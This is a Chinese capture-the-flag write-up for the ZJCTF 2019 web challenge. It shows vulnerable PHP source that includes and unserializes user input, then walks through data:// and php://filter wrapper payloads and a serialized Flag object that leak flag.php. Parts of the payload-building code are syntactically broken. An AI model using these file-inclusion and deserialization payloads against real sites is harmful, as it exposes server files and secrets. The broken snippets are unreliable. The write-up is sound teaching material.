反序列化,PHP伪造协议读写
这道题打开靶机后也是同样给出前端源码:
同时在题目位置给了github源码:
https://github.com/CTFTraining/zjctf_2019_final_web_nizhuansiwei/
# index.php
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
- 先看index.php
1)这句if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
用data://
伪协议传入值
?text=data://text/plain,welcome to the zjctf
没有问题
2)然后是这句flag字符正则匹配 if(preg_match("/flag/",$file))
,需要绕过
如果顺利应该是执行else中的代码了,反序列化了password
后面的注释//useless.php 提示我们要看一下这个php,直接访问打不开
所以再次 php://
伪协议读取一下
file=php://filter/read=convert.base64-encode/resource=useless.php
?text=data://text/plain,welcome to the zjctf
&file=php://filter/read=convert.base64-encode/resource=useless.php
执行,拿到一串base64
解码得到了useless.php
# useless.php
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
__tostring():只要调用了echo 来打印对象体,就回自动调用__tostring()
3)根据上面的useless.php,构造password值
<?php
class Flag
public $file='php://filter/read=convert.base64-encode/resource=flag.php';
new $res=serialize($file);
echo $res;
?>
序列化:
o:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php"}
payload:
?text=data://text/plain,welcome to the zjctf
&file=php://filter/read=convert.base64-encode/resource=useless.php
&o:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php"}
未生效,搜了一下其他wp
这里有点疑惑,为什么直接是file=useless.php
而不是file=php://filter/read=convert.base64-encode/resource=useless.php
后来反应过来,一开始是需要查看useless.php,file是index.php里的file
最后一次的payload的file 是赋给 class Flag中的属性值
成功,查看元素
拿到
<!--?php
if(2===3){
return ("flag{3d0f5bea-bf69-447a-9b9f-e1ffe20ffb37}");
}
?-->